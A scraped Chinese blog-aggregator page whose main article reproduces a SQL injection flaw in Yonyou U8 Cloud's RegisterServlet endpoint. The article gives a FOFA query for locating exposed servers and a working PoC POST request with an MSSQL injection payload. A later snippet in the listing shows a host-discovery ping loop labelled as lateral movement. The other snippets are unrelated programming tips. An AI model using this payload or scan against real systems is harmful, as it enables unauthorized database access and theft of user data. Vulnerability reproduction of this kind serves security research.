当前位置：首页 > news >正文

用友U8 Cloud RegisterServlet SQL注入漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/134818060 2024/11/17 15:39:17

0x01 产品简介

用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。

0x02 漏洞概述

用友U8 Cloud RegisterServlet接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

0x03 影响范围

所有版本

0x04 复现环境

FOFA：app="用友-U8-Cloud"

0x05 漏洞复现

PoC

POST /servlet/RegisterServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123')),3,32)>0--

查询123的MD5值

用友U8 Cloud RegisterServlet SQL注入漏洞复现

0x01 产品简介用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。 0x02 漏洞概述用友U8 Cloud RegisterServlet接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。 …...

编程日记 2023/12/6 1:23:42

coding创建远程分支。并拉取远程新分支+推送代码

进入coding ----项目----代码仓库---点击下拉之后查看全部----创建分支创建分支之后执行下面命令 git branch -a // 查看所有分支这个时候发现自己创建的分支没有显示这是因为自己在远程创建了分支但是本地还没有分支执行 git fetch命令用于从远程仓库获取最新的提交…...

编程日记 2023/12/6 1:22:39

坚鹏：中国工商银行内蒙古分行数字化转型发展现状与成功案例培训

中国工商银行围绕“数字生态、数字资产、数字技术、数字基建、数字基因”五维布局，深入推进数字化转型，加快形成体系化、生态化实施路径，促进科技与业务加速融合，以“数字工行”建设推动“GBC”（政务、企业、个人&…...

编程日记 2023/12/6 1:21:37

AIGC发展史

1 AIGC概况 1.1 AIGC定义 AIGC（AI Generated Content）是指利用人工智能技术生成的内容。它也被认为是继PGC,UGC之后的新型内容生产方式，AI绘画、AI写作等都属于AIGC的具体形式。2022年AIGC发展速度惊人，迭代速度更是呈现指数级发…...

编程日记 2023/12/6 1:19:31

面试题库之JAVA基础篇（二）

String 只读字符串。每次操作会隐式的在内存中new一个跟原字符串一样的StringBuilder对象，然后append号后面的字符串。 StringBuilder 可变字符串对象。线程不安全。 StringBuffer 可变字符串对象。线程安全。数组一种线性数据结构，使用连续的…...

编程日记 2023/12/6 1:18:30

[Rust] 可迭代类型, 迭代器, 如何正确的创建自定义可迭代类型

在 Rust 中, for 语句的执行依赖于类型对于 IntoIterator 的实现, 如果某类型实现了这个 trait, 那么它就可以直接使用 for 进行循环. 直接实现在 Rust 中, 如果一个类型实现了 Iterator, 那么它会被同时实现 IntoIterator, 具体逻辑是返回自身, 因为自身就是迭代器. 但是如…...

编程日记 2023/12/6 1:17:28

MySQL中，text,mediumtext, 和 longtext字符类型

需求由于项目需要，需要在mysql数据库，储存长文本，长文本格式可能为markdown也可能为html。思路测试存入html时，字符类型为varcar 255。很明显字符长度达不到要求。数据库抛错，修改字符类型解决方案将原本的字…...

编程日记 2023/12/6 1:16:28

网页开发 JS基础

目录 JS概述基本语法数据类型内置方法 DOM对象查找标签绑定事件操作标签 jQuery 查找标签绑定事件操作标签 Ajax请求数据接口前后端分离 ajax的使用 JS概述一门弱类型的编程语言,属于基于对象和基于原型的脚本语言. 1 直接编写<script>console…...

编程日记 2023/12/6 1:15:25

如何在财税行业查找批量客户？

现在市场上代记账公司也不算少，做过这行的都知道，最初呢行业竞争不强，都是靠地推、老客户转介绍，或者长期以往的蹲守各个地区的工商注册服务中心，找那些才注册企业的老板或者创业者。但是，随着市场经济的发…...

编程日记 2023/12/6 1:14:23

IntelliJ IDEA详细完整安装教程

IntelliJ IDEA 是一款强大的Java集成开发环境，以下是安装和使用教程： 1. 下载IntelliJ IDEA：访问JetBrains官网（jetbrains.com），点击“Download”按钮，选择适合自己操作系统的版本进行下载。 2.…...

编程日记 2023/12/6 1:13:16

【.NET Core】Linq查询运算符（一）

【.NET Core】Linq查询运算符（一） 文章目录【.NET Core】Linq查询运算符（一）一、概述二、筛选数据三、投影运算3.1 Select 3.2 SelectMany3.3 Zip3.4 Select 与 SelectMany 四、Set（设置）运算4.1 Distinct…...

编程日记 2023/12/6 1:12:15

Python sorted函数及用法以及如何用json模块存储数据

Python sorted函数及用法 sorted() 函数与 reversed() 函数类似，该函数接收一个可迭代对象作为参数，返回一个对元素排序的列表。在交互式解释器中测试该函数，可以看到如下运行过程： >>> a [20, 30, -1.2, 3.5, 90, 3.…...

编程日记 2023/12/6 1:11:13

使用opencv将sRGB格式的图片转换为BT.2020格式【sRGB】【BT.2020】

将sRGB格式的图片转换为BT.2020格式涉及到两个步骤：首先将sRGB转换到线性RGB，然后将线性RGB转换到BT.2020。这是因为sRGB图像通常使用伽马校正，而BT.2020工作在线性色彩空间中。从sRGB到线性RGB：sRGB图像首先需要进行伽马校正解码…...

编程日记 2023/12/6 1:09:02

聊天注意事项

聊天成功的核心就是双方都能舒服有些人不会聊天是缺乏引导性聊天聊两句话就没了聊天要把话题引导向对方从倾诉者变为倾听者才能不断交流沟通不是一个人的独角戏每个人都渴望被理解要注意倾听别人说的话不要只顾自己说一大堆，别人都瞌睡了不要查户口式问…...

编程日记 2023/12/6 1:07:59

12.5 作业

1， 以下是一个简单的比喻，将多态概念与生活中的实际情况相联系： 比喻：动物园的讲解员和动物表演想象一下你去了一家动物园，看到了许多不同种类的动物，如狮子、大象、猴子等。现在，动物园里有…...

编程日记 2023/12/6 1:05:53

深入理解指针3

hello，各位小伙伴，本篇文章跟大家一起继续深入学习指针，感谢大家对我上一篇的支持，如有什么问题，还请多多指教如果本篇文章对你有帮助，还请各位点点赞！！！ 话不多说&am…...

编程日记 2023/12/6 1:04:38

大数据环境下在线考试系统安全策略研究

摘要随着云计算、物联网、电子商务、企业信息化等的飞速发展，以及智能终端和各种检测、感应设备的普及和建设，全球逐渐进入信息化、网络化，由此产生了指数爆炸般的数据增长，一个大规模生产、分享和应用的数据的时代正在开启&am…...

编程日记 2023/12/6 1:03:32

Python中程序的异常处理

Python程序一般对输入有一定要求，担当实际输入不满足程序要求时，可能会产生程序的运行错误。Python语言使用的保留太容易try和except进行异常处理！ try: 语句块1 except: 语句块2 语句块1是正常执行的程序内容，当这个语句块发生异…...

编程日记 2023/12/6 1:02:29

有趣的代码——有故事背景的程序设计3

这篇文章再和大家分享一些有“背景”的程序设计，希望能够让大家学到知识的同时，对编程学习更感兴趣，更能在这条路上坚定地走下去。目录 1.幻方问题 2.用函数打印九九乘法表 3.鸡兔同笼问题 4.字数统计 5.简单选择排序 1.幻方问题幻方又…...

编程日记 2023/12/6 1:01:26

聚观早报 |国行PS5轻薄版开售；岚图汽车11月交付7006辆

【聚观365】12月2日消息国行PS5轻薄版开售岚图汽车11月交付7006辆比亚迪推出12月限时优惠特斯拉正式交付首批Cybertruck 昆仑万维发布「天工 SkyAgents」平台国行PS5轻薄版开售索尼最新的PlayStation5主机（CFI-2000型号组-轻薄版）国行版本正…...

编程日记 2023/12/6 1:00:24

Kafka 保证消息消费全局顺序性

当有消息被生产出来的时候，如果没有指定分区或者指定 key ，那么消费会按照【轮询】的方式均匀地分配到所有可用分区中，但不一定按照分区顺序来分配我们知道，在 Kafka 中消费者可以订阅一个或多个主题，并被分配一个或多…...

编程日记 2023/12/6 0:56:16

3分钟在CentOS 7上离线安装Docker

在CentOS 7上离线安装Docker的详细步骤如下： 环境检查和准备检查内核版本：Docker要求系统为64位且内核版本至少为3.10。使用命令uname -r查看内核版本。检查CentOS版本：通过命令cat /etc/redhat-release查看版本信息。更新yum包&#xff0…...

编程日记 2023/12/6 0:55:14

GaussDB数据库SQL系列-触发器

目录一、前言二、触发器概念三、GaussDB数据库中的触发器 1、语法格式 2、创建步骤 3、注意事项 4、附：表和视图上支持的触发器种类四、GaussDB数据库中的示例示例一、在GaussDB数据库中创建一个触发器，以便在插入新记录时自动将记录的创建…...

编程日记 2023/12/6 0:54:03

网工学习10-IP地址

一、IP地址概念 IP地址是一个32位的二进制数，它由网络ID和主机ID两部份组成，用来在网络中唯一的标识的一台计算机。网络ID用来标识计算机所处的网段；主机ID用来标识计算机在网段中的位置。IP地址通常用4组3位十进制数表示，中间用…...

编程日记 2023/12/6 0:53:01

二百零八、Hive——HiveSQL异常：Select查询数据正常,但SQL语句加上group by查询数据为空

一、目的在HiveSQL的DWD层中，需要对原始数据进行去重在内的清洗，结果一开始其他数据类型的清洗工作都正常，直到碰到转向比数据。一般的SQL查询有数据，但是加上group by以后就没数据； 一般的SQL查询有数据&#xf…...

编程日记 2023/12/6 0:51:58

Docker—共享应用程序

现在您已经构建了一个映像，可以共享它。要共享Docker映像，您必须使用Docker注册表。默认注册表是Docker Hub，是您使用的所有图像的来源。 Docker ID（Docker标识） Docker ID允许您访问Docker Hub，这是世界上…...

编程日记 2023/12/6 0:49:49

Linux横向移动主机存活探测 shell for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done 或者 for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]" {print $4}; d…...

编程日记 2023/12/6 0:48:48

Ubuntu 20.0 + mysql 8.0 用户和密码修改

第一步下载（简单,注意联网）Ubuntu 终端输入以下两行命令 (1) 数据库的服务端及客户端数据库的开发软件包 sudo apt-get install mysql-server mysql-client (2) 数据库的开发软件包 sudo apt-get install libmysqlclient-dev 第二步查看是否安装成功 …...

编程日记 2023/12/6 0:46:42

看懂lscpu的输出

文章目录 1. lscpu1.1 Architecture1.2 逻辑核心数1.3 缓存1.4 CPU型号1.5 NUMA架构1.5.1 CPU多核架构1.5.2 多CPU Socket架构 2. cat /proc/cpuinfo2.1 关键字段 1. lscpu 通过lscpu查看当前系统的CPU信息。 [hadoopserver3 ~]$ lscpuArchitecture: x86_64 …...

编程日记 2023/12/6 0:45:36

RoPE旋转位置编码浅析

RoPE旋转位置编码浅析本文介绍了旋转位置编码RoPE在大模型中的广泛应用，包括Llama、Mistral 7B、Baichuan、ChatGLM、Qwen、…等。由于计算资源限制，大模型通常在较小的上下文长度中进行训练，导致在推理超出预训练长度时性能显著下降。为了解决这个问题，涌现了许多基于Ro…...

编程日记 2023/12/6 0:43:10

深圳有多少网站建设公司/营销策略的概念

操作界面这个小系统一共包含4个脚本sh功能备注oneKey.sh主程序，调用其他程序，对外提供功能menu.sh勾画菜单function.sh提供操作数据库接口valid.sh操作mysql数据库，验证数据menu.sh画字符菜单#!/bin/bashfunction print_main_menu(){cat <…...

编程日记 2024/11/17 14:27:12

百度推广帮做网站吗/搜索引擎优化方案案例

记录 flutter 环境安装问题问题描述前提是 flutter 安装好，jdk 安装好，Android Studio 安装完成 flutter doctor 查看环境缺失，如下： [✓] Flutter (Channel stable, v1.7.8hotfix.4, on Mac OS X 10.14.6 18G95, localezh-H…...

编程日记 2024/11/17 12:10:15